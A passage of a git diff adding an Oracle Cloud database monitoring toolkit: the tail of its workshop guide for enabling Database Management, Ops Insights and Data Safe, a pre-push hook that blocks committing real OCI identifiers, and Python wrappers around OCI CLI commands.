subnet) +- Vault secret holding the monitoring password +- Monitoring database user and grants (verified DB-side — marked MANUAL) +- External targets: Management Agent registered with `dbmgmt` and `opsi` plugins + +A `FAIL` includes the exact remediation. Use `--json` to feed an automation runner. + +## Lab 4: Run Database-Side Setup + +Generate database SQL scripts: + +```bash +dbman-opsi generate-db-scripts --config dbman-opsi.local.yaml --output generated/db-scripts +``` + +Run the scripts on DBCS or Exadata with SQLcl or SQL*Plus as an administrative +user, in this order (validate runs last so it confirms the grants): + +```sql +@01-create-monitoring-user.sql +@02-grant-basic-monitoring.sql +@03-grant-advanced-diagnostics.sql -- optional: Performance Hub + SQL Tuning Set privileges +@05-enable-performance-hub.sql -- optional: AWR autoflush so PDB ADDM Spotlight / AWR Explorer collect data +@04-validate-monitoring-user.sql +@06-enable-data-safe.sql -- only when the target opts into the 'datasafe' pillar +``` + +`03` and `05` exercise the Diagnostics/Tuning Pack — review licensing first. `05` +is required for PDB-level ADDM Spotlight / AWR Explorer to show data (run it for +the CDB and each PDB). `06` is generated only when the target includes `datasafe`. + +Instead of running these by hand, `db-exec` shows the **hybrid plan** and (in +non-production tenancies) can drive them via Bastion: + +```bash +dbman-opsi db-exec --config dbman-opsi.local.yaml # generate scripts + show auto-run vs handoff plan +``` + +## Lab 5: Enable And Validate Collection + +Generate Operations Insights payloads and fill any placeholders: + +```bash +dbman-opsi generate-opsi-payloads --config dbman-opsi.local.yaml --output generated/opsi-payloads +``` + +Enable services. The orchestrated path runs the prerequisite gate first, skips +targets that are already enabled, and only enables when everything passes: + +```bash +dbman-opsi configure --config dbman-opsi.local.yaml # plan: gate only +dbman-opsi configure --config dbman-opsi.local.yaml --apply # enable DBM + OPSI when ready +``` + +To enable **all three pillars in one pass**, add `--with-data-safe` (Data Safe is +registered for targets that opted into `datasafe`, after DBM/OPSI): + +```bash +export DBMAN_OPSI_DBSNMP_PASSWORD='' +dbman-opsi configure --config dbman-opsi.local.yaml --apply \ + --with-data-safe --data-safe-password-env DBMAN_OPSI_DBSNMP_PASSWORD +unset DBMAN_OPSI_DBSNMP_PASSWORD +``` + +If a DBA must run the database steps separately, generate handoff packets instead +of enabling directly: + +```bash +dbman-opsi configure --config dbman-opsi.local.yaml --db-side-only --output generated/handoff +``` + +Each packet (`generated/handoff//HANDOFF.md`) contains the ordered SQL +scripts plus the exact OCI enable command to run once the database side is done. + +The lower-level `enable` verb is still available for a single direct step: + +```bash +dbman-opsi enable --config dbman-opsi.local.yaml --dry-run +dbman-opsi enable --config dbman-opsi.local.yaml --apply +``` + +Validate: + +```bash +dbman-opsi validate --config dbman-opsi.local.yaml +``` + +The validation output shows, per target, Database Management enabled and the real +Operations Insights Database Insight lifecycle — `ACTIVE (ENABLED)` when +collecting, or `FAILED`/`NOT_FOUND`/`UNKNOWN`. `validate` reads the insight by +OCID (reliable) and never reports a false `NOT_FOUND` from the flaky list, so a +clean run is trustworthy. + +## Lab 6: Enable Data Safe (security pillar) + +For targets that opted into `datasafe`, register them as Data Safe target +databases. First run the Data Safe DB-side script (`06-enable-data-safe.sql`) to +create/grant the Data Safe service account (DBSNMP for the POC, or a dedicated +account), then register: + +```bash +dbman-opsi data-safe --config dbman-opsi.local.yaml # dry-run +export DBMAN_OPSI_DBSNMP_PASSWORD='' +dbman-opsi data-safe --config dbman-opsi.local.yaml --user DBSNMP \ + --password-env DBMAN_OPSI_DBSNMP_PASSWORD --apply # live registration +unset DBMAN_OPSI_DBSNMP_PASSWORD +``` + +This creates a Data Safe private endpoint in the DB subnet (if one is not already +referenced), registers the `target-database`, and persists its OCID back into the +config. Confirm the target reaches `ACTIVE`: + +```bash +dbman-opsi discover --profile --region --compartment --json +# the target DB should now show data_safe_status = ENABLED +``` + +If a target shows `NEEDS_ATTENTION` with `ORA-01017`, the network path is fine but +the service-account password is wrong — fix the DB-side password (a CDB common +user like DBSNMP must be changed with `CONTAINER=ALL`) and re-run with `--apply`. +For Data Masking / Data Discovery, also run the per-target privilege script from +the OCI Console (Data Safe > Target databases > Register > Download Privilege +Script). + +## What success looks like (OCI Console) + +These redacted captures (region/account band and compartment chip blurred) show the +end state after the labs — two Base Database systems (`DBMOPSI`/`PDB1` and a +freshly-provisioned `dbmanops`/`dbmanops_pdb1`) with all three pillars on. + +**Database Management — Managed Databases** (Lab 5). Both container DBs and their +PDBs show **Enabled / Full** under ADVANCED management: + +![Managed Databases](../screenshots/console-01-managed-databases.png) + +**Diagnostics & Management — fleet summary** (Lab 5). All managed databases with +live CPU / storage / Average-Active-Sessions metrics: + +![Fleet diagnostics summary](../screenshots/console-02-dbmopsi-summary.png) + +**Database summary — Pluggable Databases tab** (Lab 5). `PDB1` **Up** with live +Performance Hub metrics; the *Performance Hub / ADDM Spotlight / AWR Explorer* +actions are available (no privilege prompt, thanks to scripts `03`/`05`): + +![DBMOPSI PDBs](../screenshots/console-03-dbmopsi-pdbs.png) + +**Operations Insights — Performance Hub** (Lab 5). Activity Summary / Average +Active Sessions with ASH Analytics (SQL-detail tables blurred — they contain live +SQL, service names, and users): + +![Performance Hub](../screenshots/console-05-performance-hub.png) + +**Data Safe — Target databases** (Lab 6). The registered targets are **Active** +(`dbman-opsi-dbcs-PDB1`, `dbman-opsi-dbcs2-cdb`, `dbman-opsi-dbcs2-PDB1`): + +![Data Safe target databases](../screenshots/console-04-data-safe-targets.png) + +**Data Safe — Security Assessment** (Lab 6). With the targets registered, Data Safe +assesses their posture — Risk level, Risks by category, and Top-5 security controls +(Auditing / Encryption / Password discipline / Patch compliance): + +![Data Safe security assessment](../screenshots/console-06-data-safe-assessment.png) + +**Ops Insights — Database Capacity Planning** (Lab 7). Capacity cards, forecast +views, and aggregate treemaps show cross-fleet CPU, storage, memory, and I/O +planning data: + +![Ops Insights capacity planning](../screenshots/console-07-capacity-planning.png) + +![Ops Insights capacity forecast](../screenshots/console-08-capacity-trend-forecast.png) + +![Ops Insights capacity aggregate](../screenshots/console-09-capacity-aggregate.png) + +**Ops Insights — SQL and performance diagnostics** (Lab 7). SQL Insights and DB +Performance show fleet/database drilldowns with live SQL identifiers and resource +names redacted: + +![SQL Insights fleet analysis](../screenshots/console-10-sql-insights-fleet-analysis.png) + +![SQL Insights database analysis](../screenshots/console-11-sql-insights-database-analysis.png) + +![Database performance](../screenshots/console-13-db-performance.png) + +**Ops Insights — Multi-region Data Object Explorer** (Lab 7). The Explorer region +selector includes both Frankfurt and Chicago and returns region-aware rows from +one query: + +![SQL Explorer multi-region](../screenshots/console-12-sql-explorer-multiregion.png) + +**Ops Insights — fleet administration** (Lab 7). The administration table shows +enabled feature sets and which rows need remediation, with resource names and +compartment values redacted: + +![Ops Insights fleet administration](../screenshots/console-14-opsi-fleet-administration.png) + +`discover --json` corroborates the Console: each enabled DB reports +`dbm_status: ENABLED`, `opsi_status: ENABLED`, and `data_safe_status: ENABLED`. + +## Resource Manager Path + +Use the Deploy to Oracle Cloud button in the repository README to launch the Terraform stack in any tenant. Resource Manager provisions only OCI-side prerequisites. Database credentials and database-side SQL execution remain explicit workshop steps. diff --git a/observability-and-management/assets/oci-dbman-opsi/pyproject.toml b/observability-and-management/assets/oci-dbman-opsi/pyproject.toml new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/oci-dbman-opsi/scripts/pre-push b/observability-and-management/assets/oci-dbman-opsi/scripts/pre-push new file mode 100644 index 000000000..c87d09b1b --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/scripts/pre-push @@ -0,0 +1,89 @@ +#!/bin/sh + +set -u + +IDENTIFIER_PATTERN='ocid1\.[a-z0-9]+\.oc[0-9]\.[a-z0-9._-]{15,}|[a-z0-9-]+\.ocir\.io/[a-z0-9]+' +ZERO_SHA='0000000000000000000000000000000000000000' +TMP_DIR=${TMPDIR:-/tmp} +FINDINGS_FILE=$(mktemp "$TMP_DIR/dbman-opsi-pre-push-findings.XXXXXX") || exit 2 +DIFF_FILE=$(mktemp "$TMP_DIR/dbman-opsi-pre-push-diff.XXXXXX") || exit 2 +checked_push_range=0 + +cleanup() { + rm -f "$FINDINGS_FILE" "$DIFF_FILE" +} + +trap cleanup EXIT HUP INT TERM + +abort_with_findings() { + echo "ERROR: real OCI identifier format found outside Markdown; push aborted." >&2 + echo "Move tenant-specific values to local/private config and commit placeholders only." >&2 + cat "$FINDINGS_FILE" >&2 + exit 1 +} + +check_diff_file() { + if grep -nE "^\+[^+].*($IDENTIFIER_PATTERN)" "$DIFF_FILE" > "$FINDINGS_FILE"; then + abort_with_findings + fi +} + +check_push_range() { + local_ref=$1 + local_sha=$2 + remote_sha=$4 + + if [ "$local_sha" = "$ZERO_SHA" ]; then + return + fi + + : > "$DIFF_FILE" + if [ "$remote_sha" = "$ZERO_SHA" ]; then + git diff-tree --root -r -U0 "$local_sha" -- . ':!*.md' > "$DIFF_FILE" + else + git diff -U0 "$remote_sha" "$local_sha" -- . ':!*.md' > "$DIFF_FILE" + fi + check_diff_file + + # Keep shellcheck-style unused-ref noise away without requiring shellcheck. + : "$local_ref" +} + +check_working_tree() { + : > "$FINDINGS_FILE" + git ls-files -co --exclude-standard | while IFS= read -r path + do + case "$path" in + *.md) + continue + ;; + esac + if [ -f "$path" ]; then + grep -nE "$IDENTIFIER_PATTERN" "$path" | sed "s|^|$path:|" >> "$FINDINGS_FILE" + fi + done + if [ -s "$FINDINGS_FILE" ]; then + abort_with_findings + fi +} + +while read -r local_ref local_sha remote_ref remote_sha +do + checked_push_range=1 + check_push_range "$local_ref" "$local_sha" "$remote_ref" "$remote_sha" +done + +if [ "$checked_push_range" -eq 0 ]; then + check_working_tree +fi + +if command -v gitleaks >/dev/null 2>&1; then + if ! gitleaks detect --source . --config .gitleaks.toml --no-banner; then + echo "ERROR: gitleaks detected a secret; push aborted." >&2 + exit 1 + fi +else + echo "WARNING: gitleaks is not installed; skipping gitleaks secret scan." >&2 +fi + +exit 0 diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/__init__.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/__init__.py new file mode 100644 index 000000000..02bd418e8 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/__init__.py @@ -0,0 +1,6 @@ +"""OCI Database Management and Ops Insights enablement toolkit.""" + +__all__ = ["__version__"] + +__version__ = "0.1.0" + diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_base.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_base.py new file mode 100644 index 000000000..60061e6d6 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_base.py @@ -0,0 +1,84 @@ +"""Shared plumbing for the Oci CLI command mixins. + +Every domain mixin (network, database, vault, …) inherits this base so it can +reach ``run_json``/``run``/``_items``/``_data`` via ``self`` while living in its +own focused module. ``OciCli`` composes the mixins; their common base collapses +to a single entry in the MRO, so ``__init__`` runs exactly once. +""" + +from __future__ import annotations + +import configparser +import os +from pathlib import Path +from typing import Any + +from dbman_opsi.runner import CommandRunner, OciError + + +class _OciBase: + def __init__(self, profile: str, region: str, runner: CommandRunner) -> None: + self.profile = profile + self.region = region + self.runner = runner + + def run_json(self, args: list[str]) -> Any: + result = self.runner.run( + self._base_args() + args + ["--output", "json"], + retry_on_transient=True, + ) + return result.json() + + def run(self, args: list[str]) -> None: + self.runner.run(self._base_args() + args) + + def run_tolerating(self, args: list[str], tolerated: tuple[str, ...]) -> bool: + """Run a mutating command, swallowing already-done errors. + + Returns ``True`` when the command actually ran, ``False`` when it failed + with an error whose message contains any ``tolerated`` marker (an + idempotent no-op, e.g. a resource that is already enabled). Any other + failure is re-raised so genuine errors are not hidden. + """ + + try: + self.run(args) + return True + except OciError as exc: + message = str(exc) + if any(marker in message for marker in tolerated): + return False + raise + + @staticmethod + def _items(data: Any) -> list[dict[str, Any]]: + if not isinstance(data, dict): + return [] + payload = data.get("data", []) + if isinstance(payload, dict) and isinstance(payload.get("items"), list): + return list(payload["items"]) + if isinstance(payload, list): + return list(payload) + return [] + + @staticmethod + def _data(data: Any) -> dict[str, Any]: + if not isinstance(data, dict): + return {} + payload = data.get("data", {}) + return dict(payload) if isinstance(payload, dict) else {} + + def _base_args(self) -> list[str]: + return ["oci", "--profile", self.profile, "--region", self.region] + + def profile_tenancy(self) -> str | None: + """Return the tenancy OCID configured for this OCI CLI profile, if readable.""" + + config_file = Path(os.environ.get("OCI_CONFIG_FILE", "~/.oci/config")).expanduser() + if not config_file.exists(): + return None + parser = configparser.ConfigParser() + parser.read(config_file) + if parser.has_option(self.profile, "tenancy"): + return parser.get(self.profile, "tenancy") + return parser.get("DEFAULT", "tenancy", fallback=None) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_database.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_database.py new file mode 100644 index 000000000..dbc9dac11 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_database.py @@ -0,0 +1,61 @@ +"""Database reads: DB systems, databases, PDBs, Autonomous, Exadata infra.""" + +from __future__ import annotations + +from typing import Any + +from dbman_opsi._oci_base import _OciBase + + +class DatabaseCommands(_OciBase): + def list_db_systems(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["db", "system", "list", "--compartment-id", compartment_id, "--all"]) + return self._items(data) + + def list_databases(self, compartment_id: str, db_system_id: str) -> list[dict[str, Any]]: + data = self.run_json([ + "db", + "database", + "list", + "--compartment-id", + compartment_id, + "--db-system-id", + db_system_id, + ]) + return self._items(data) + + def get_database(self, database_id: str) -> dict[str, Any]: + return self._data(self.run_json(["db", "database", "get", "--database-id", database_id])) + + def get_db_system(self, db_system_id: str) -> dict[str, Any]: + return self._data(self.run_json(["db", "system", "get", "--db-system-id", db_system_id])) + + def list_pluggable_databases(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["db", "pluggable-database", "list", "--compartment-id", compartment_id, "--all"]) + return self._items(data) + + def get_pluggable_database(self, pluggable_database_id: str) -> dict[str, Any]: + return self._data(self.run_json([ + "db", + "pluggable-database", + "get", + "--pluggable-database-id", + pluggable_database_id, + ])) + + def list_autonomous_databases(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["db", "autonomous-database", "list", "--compartment-id", compartment_id, "--all"]) + return self._items(data) + + def get_autonomous_database(self, autonomous_database_id: str) -> dict[str, Any]: + return self._data(self.run_json([ + "db", + "autonomous-database", + "get", + "--autonomous-database-id", + autonomous_database_id, + ])) + + def list_exadata_infrastructure(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["db", "cloud-exa-infra", "list", "--compartment-id", compartment_id]) + return self._items(data) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_datasafe.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_datasafe.py new file mode 100644 index 000000000..374a1c9cd --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_datasafe.py @@ -0,0 +1,102 @@ +"""Data Safe (security pillar): target databases and private endpoints.""" + +from __future__ import annotations + +from typing import Any + +from dbman_opsi._oci_base import _OciBase + + +class DataSafeCommands(_OciBase): + def list_data_safe_targets(self, compartment_id: str) -> list[dict[str, Any]]: + """List registered Data Safe target databases in a compartment. + + Data Safe registration is a standalone ``target-database`` resource, not + a status field on the DB, so detection means listing these and matching + each back to a discovered database by OCID. + """ + + data = self.run_json([ + "data-safe", "target-database", "list", + "--compartment-id", compartment_id, "--all", + ]) + return self._items(data) + + def get_data_safe_target(self, target_database_id: str) -> dict[str, Any]: + return self._data(self.run_json([ + "data-safe", "target-database", "get", + "--target-database-id", target_database_id, + ])) + + def list_data_safe_private_endpoints(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json([ + "data-safe", "private-endpoint", "list", + "--compartment-id", compartment_id, "--all", + ]) + return self._items(data) + + def create_data_safe_private_endpoint( + self, + compartment_id: str, + display_name: str, + vcn_id: str, + subnet_id: str, + ) -> str: + """Create (or reuse) a Data Safe private endpoint in the DB subnet. + + Idempotent by display name. Waits for the endpoint to go ACTIVE so the + returned OCID is immediately usable for target registration. + """ + + for existing in self.list_data_safe_private_endpoints(compartment_id): + if existing.get("display-name") == display_name: + return str(existing.get("id")) + # ``private-endpoint create`` returns a WORK REQUEST, so --wait-for-state + # takes work-request states (SUCCEEDED), not resource states (ACTIVE). Wait + # on the work request, then re-list to resolve the new PE's OCID. + self.run([ + "data-safe", "private-endpoint", "create", + "--compartment-id", compartment_id, + "--display-name", display_name, + "--vcn-id", vcn_id, + "--subnet-id", subnet_id, + "--wait-for-state", "SUCCEEDED", + "--max-wait-seconds", "1200", + "--wait-interval-seconds", "30", + ]) + for created in self.list_data_safe_private_endpoints(compartment_id): + if created.get("display-name") == display_name: + return str(created.get("id")) + return "" + + def create_data_safe_target( + self, + compartment_id: str, + display_name: str, + database_details_file: str, + connection_option_file: str | None = None, + credentials_file: str | None = None, + ) -> str: + """Register a Data Safe target database, returning its OCID. + + ``*_file`` arguments are paths to JSON payloads (passed as ``file://``) + so secrets never appear on the command line. Idempotent: if a target with + ``display_name`` already exists in the compartment, its OCID is returned. + """ + + for existing in self.list_data_safe_targets(compartment_id): + if existing.get("display-name") == display_name: + return str(existing.get("id")) + args = [ + "data-safe", "target-database", "create", + "--compartment-id", compartment_id, + "--display-name", display_name, + "--database-details", f"file://{database_details_file}", + ] + if connection_option_file: + args.extend(["--connection-option", f"file://{connection_option_file}"]) + if credentials_file: + args.extend(["--credentials", f"file://{credentials_file}"]) + # Empty string (not "None") when no id is returned — e.g. a dry-run runner + # stubs the response to {} — so callers treat it as "not registered". + return str(self._data(self.run_json(args)).get("id") or "") diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_dbmgmt.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_dbmgmt.py new file mode 100644 index 000000000..55e56a171 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_dbmgmt.py @@ -0,0 +1,112 @@ +"""Database Management: private endpoints, managed databases, named/preferred credentials.""" + +from __future__ import annotations + +from typing import Any + +from dbman_opsi._oci_base import _OciBase + + +class DatabaseManagementCommands(_OciBase): + def list_db_management_private_endpoints(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["database-management", "private-endpoint", "list", "--compartment-id", compartment_id, "--all"]) + return self._items(data) + + def get_db_management_private_endpoint(self, endpoint_id: str) -> dict[str, Any]: + return self._data(self.run_json([ + "database-management", + "private-endpoint", + "get", + "--private-endpoint-id", + endpoint_id, + ])) + + def list_managed_databases(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json([ + "database-management", "managed-database", "list", + "--compartment-id", compartment_id, "--all", + ]) + return self._items(data) + + def find_managed_database_id(self, compartment_id: str, name: str) -> str | None: + for managed in self.list_managed_databases(compartment_id): + if managed.get("name") == name: + return managed.get("id") + return None + + def get_managed_database_status(self, managed_database_id: str) -> str | None: + """Return the managed database's monitoring status (e.g. UP / DOWN / UNKNOWN).""" + + data = self.run_json([ + "database-management", "managed-database", "get", + "--managed-database-id", managed_database_id, + ]) + return self._data(data).get("database-status") + + def list_named_credentials(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json([ + "database-management", "named-credential", "list", + "--compartment-id", compartment_id, "--all", + ]) + return self._items(data) + + def create_named_credential( + self, + compartment_id: str, + name: str, + user_name: str, + password_secret_id: str, + associated_resource: str, + role: str = "NORMAL", + access_mode: str = "RESOURCE_PRINCIPAL", + ) -> str: + """Create a RESOURCE_PRINCIPAL named credential and return its OCID. + + Idempotent: if a named credential with ``name`` already exists in the + compartment, its OCID is returned instead of creating a duplicate. + """ + + for existing in self.list_named_credentials(compartment_id): + if existing.get("name") == name: + return str(existing.get("id") or "") + data = self.run_json([ + "database-management", "named-credential", + "create-named-credential-basic-named-credential-content", + "--compartment-id", compartment_id, + "--name", name, + "--scope", "RESOURCE", + "--type", "ORACLE_DB", + "--content-user-name", user_name, + "--content-role", role, + "--content-password-secret-id", password_secret_id, + "--content-password-secret-access-mode", access_mode, + "--associated-resource", associated_resource, + ]) + # Empty string (not "None") when no id is returned, matching the Data Safe + # create helpers — callers test truthiness to mean "created/exists". + return str(self._data(data).get("id") or "") + + def list_preferred_credentials(self, managed_database_id: str) -> list[dict[str, Any]]: + data = self.run_json([ + "database-management", "preferred-credential", "list", + "--managed-database-id", managed_database_id, + ]) + return self._items(data) + + def set_preferred_named_credential( + self, managed_database_id: str, credential_name: str, named_credential_id: str + ) -> None: + """Point a managed database's preferred credential at a named credential. + + Uses the dedicated ``update-preferred-credential-update-named-preferred-credential-details`` + verb; the generic ``preferred-credential update --type NAMED_CREDENTIAL`` + mis-maps the body and fails with RelatedResourceNotAuthorizedOrNotFound. + """ + + self.run([ + "database-management", "preferred-credential", + "update-preferred-credential-update-named-preferred-credential-details", + "--managed-database-id", managed_database_id, + "--credential-name", credential_name, + "--named-credential-id", named_credential_id, + ]) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_iam.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_iam.py new file mode 100644 index 000000000..5f009192b --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_iam.py @@ -0,0 +1,30 @@ +"""IAM reads: compartments, policies, groups.""" + +from __future__ import annotations + +from typing import Any + +from dbman_opsi._oci_base import _OciBase + + +class IamCommands(_OciBase): + def list_compartments(self, tenancy_id: str) -> list[dict[str, Any]]: + data = self.run_json([ + "iam", + "compartment", + "list", + "--compartment-id", + tenancy_id, + "--compartment-id-in-subtree", + "true", + "--access-level", + "ACCESSIBLE", + ]) + return self._items(data) + + def list_policies(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["iam", "policy", "list", "--compartment-id", compartment_id, "--all"]) + return self._items(data) + + def get_group(self, group_id: str) -> dict[str, Any]: + return self._data(self.run_json(["iam", "group", "get", "--group-id", group_id])) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_infra.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_infra.py new file mode 100644 index 000000000..a7a5542f9 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_infra.py @@ -0,0 +1,20 @@ +"""Supporting infrastructure reads: bastions and Management Agents.""" + +from __future__ import annotations + +from typing import Any + +from dbman_opsi._oci_base import _OciBase + + +class InfraCommands(_OciBase): + def list_bastions(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["bastion", "bastion", "list", "--compartment-id", compartment_id]) + return self._items(data) + + def list_management_agents(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["management-agent", "agent", "list", "--compartment-id", compartment_id]) + return self._items(data) + + def get_management_agent(self, agent_id: str) -> dict[str, Any]: + return self._data(self.run_json(["management-agent", "agent", "get", "--management-agent-id", agent_id])) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_network.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_network.py new file mode 100644 index 000000000..6eb179862 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_network.py @@ -0,0 +1,42 @@ +"""Networking reads: VCNs, subnets, route tables, security lists, gateways.""" + +from __future__ import annotations + +from typing import Any + +from dbman_opsi._oci_base import _OciBase + + +class NetworkCommands(_OciBase): + def list_vcns(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["network", "vcn", "list", "--compartment-id", compartment_id, "--all"]) + return self._items(data) + + def list_subnets(self, compartment_id: str, vcn_id: str) -> list[dict[str, Any]]: + data = self.run_json(["network", "subnet", "list", "--compartment-id", compartment_id, "--vcn-id", vcn_id, "--all"]) + return self._items(data) + + def list_service_gateways(self, compartment_id: str, vcn_id: str) -> list[dict[str, Any]]: + data = self.run_json([ + "network", + "service-gateway", + "list", + "--compartment-id", + compartment_id, + "--vcn-id", + vcn_id, + "--all", + ]) + return self._items(data) + + def get_subnet(self, subnet_id: str) -> dict[str, Any]: + return self._data(self.run_json(["network", "subnet", "get", "--subnet-id", subnet_id])) + + def get_vcn(self, vcn_id: str) -> dict[str, Any]: + return self._data(self.run_json(["network", "vcn", "get", "--vcn-id", vcn_id])) + + def get_route_table(self, route_table_id: str) -> dict[str, Any]: + return self._data(self.run_json(["network", "route-table", "get", "--rt-id", route_table_id])) + + def get_security_list(self, security_list_id: str) -> dict[str, Any]: + return self._data(self.run_json(["network", "security-list", "get", "--security-list-id", security_list_id])) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_opsi.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_opsi.py new file mode 100644 index 000000000..a49f5b83d --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_opsi.py @@ -0,0 +1,113 @@ +"""Operations Insights: private endpoints and database insights. + +The per-lifecycle-state union in ``list_opsi_database_insights_complete`` works +around an observed OPSI list control-plane flap on cap/eu-frankfurt-1 — see the +method docstrings for the root-cause notes (kept verbatim; they encode hard-won +operational knowledge). +""" + +from __future__ import annotations + +from typing import Any + +from dbman_opsi._oci_base import _OciBase + + +class OpsiCommands(_OciBase): + # OPSI database-insights list excludes FAILED/terminal states by default, so + # the non-ACTIVE states are queried explicitly to surface broken insights + # during validate. + OPSI_INSIGHT_STATES = ("CREATING", "UPDATING", "ACTIVE", "FAILED", "NEEDS_ATTENTION") + + def list_opsi_private_endpoints(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["opsi", "opsi-private-endpoint", "list", "--compartment-id", compartment_id, "--all"]) + return self._items(data) + + def get_opsi_private_endpoint(self, endpoint_id: str) -> dict[str, Any]: + return self._data(self.run_json([ + "opsi", + "opsi-private-endpoint", + "get", + "--opsi-private-endpoint-id", + endpoint_id, + ])) + + def list_opsi_database_insights(self, compartment_id: str) -> list[dict[str, Any]]: + """List OPSI database insights across all relevant lifecycle states. + + Root-cause note (cap, eu-frankfurt-1): combining the full ``--lifecycle-state`` + set with ``--all`` in a *single* call makes the OPSI list control plane + flap — it intermittently returns an empty or partial page for the same + compartment (observed bouncing between 0, 2, and 7 items call-to-call). + A single-lifecycle-state query is stable (ACTIVE-only returned the same + full set 10/10 times). So query one state per call and union the results + by insight OCID: reliable, and still surfaces FAILED/terminal insights + that the default ACTIVE-only list hides. + + Per-state calls are individually fault-tolerant: a transient failure on + one state is skipped so it cannot discard the insights already gathered + from the other states. If every state call fails the result is empty, + which callers treat as inconclusive rather than authoritative absence. + + Note: a skipped state means the union is *incomplete* — an insight that + only exists in the failed state (e.g. ``FAILED``) is silently absent. A + caller that needs to assert *absence* must use + :meth:`list_opsi_database_insights_complete` and refuse to conclude + "not found" from an incomplete read. + """ + + return self.list_opsi_database_insights_complete(compartment_id)[0] + + def list_opsi_database_insights_complete( + self, compartment_id: str + ) -> tuple[list[dict[str, Any]], bool]: + """Per-state union plus a completeness flag. + + Returns ``(insights, complete)`` where ``complete`` is ``False`` if any + per-lifecycle-state call failed (so the union may be missing insights + that live in the failed state). Callers can trust a *positive* match + regardless of ``complete``, but must treat a *negative* result from an + incomplete read as inconclusive rather than authoritative absence. + """ + + merged: dict[str, dict[str, Any]] = {} + complete = True + for state in self.OPSI_INSIGHT_STATES: + args = [ + "opsi", + "database-insights", + "list", + "--compartment-id", + compartment_id, + "--compartment-id-in-subtree", + "true", + "--all", + "--lifecycle-state", + state, + ] + try: + items = self._items(self.run_json(args)) + except RuntimeError: + complete = False + continue + for item in items: + key = str(item.get("id") or item.get("database-id")) + merged[key] = item + return list(merged.values()), complete + + def get_opsi_database_insight(self, insight_id: str) -> dict[str, Any]: + """Get a single OPSI database insight by its OCID. + + Unlike the aggregated ``database-insights list`` (which flaps between + empty/partial/full on the cap control plane), a single-resource GET by + insight OCID is reliable — the authoritative way to read an insight's + lifecycle/connection state once its OCID is known. + """ + + return self._data(self.run_json([ + "opsi", + "database-insights", + "get", + "--database-insight-id", + insight_id, + ])) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_vault.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_vault.py new file mode 100644 index 000000000..a17c310f9 --- /dev/null +++ b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/_oci_vault.py @@ -0,0 +1,33 @@ +"""KMS / Vault reads: vaults, keys, secrets.""" + +from __future__ import annotations + +from typing import Any + +from dbman_opsi._oci_base import _OciBase + + +class VaultCommands(_OciBase): + def list_vaults(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["kms", "management", "vault", "list", "--compartment-id", compartment_id, "--all"]) + return self._items(data) + + def list_keys(self, compartment_id: str, management_endpoint: str) -> list[dict[str, Any]]: + data = self.run_json([ + "kms", + "management", + "key", + "list", + "--compartment-id", + compartment_id, + "--endpoint", + management_endpoint, + ]) + return self._items(data) + + def list_secrets(self, compartment_id: str) -> list[dict[str, Any]]: + data = self.run_json(["vault", "secret", "list", "--compartment-id", compartment_id, "--all"]) + return self._items(data) + + def get_secret(self, secret_id: str) -> dict[str, Any]: + return self._data(self.run_json(["vault", "secret", "get", "--secret-id", secret_id])) diff --git a/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/agent_scripts.py b/observability-and-management/assets/oci-dbman-opsi/src/dbman_opsi/agent_scripts.py new file mode 100644 index 000000000..3796d6f85 --- /dev/null +++ 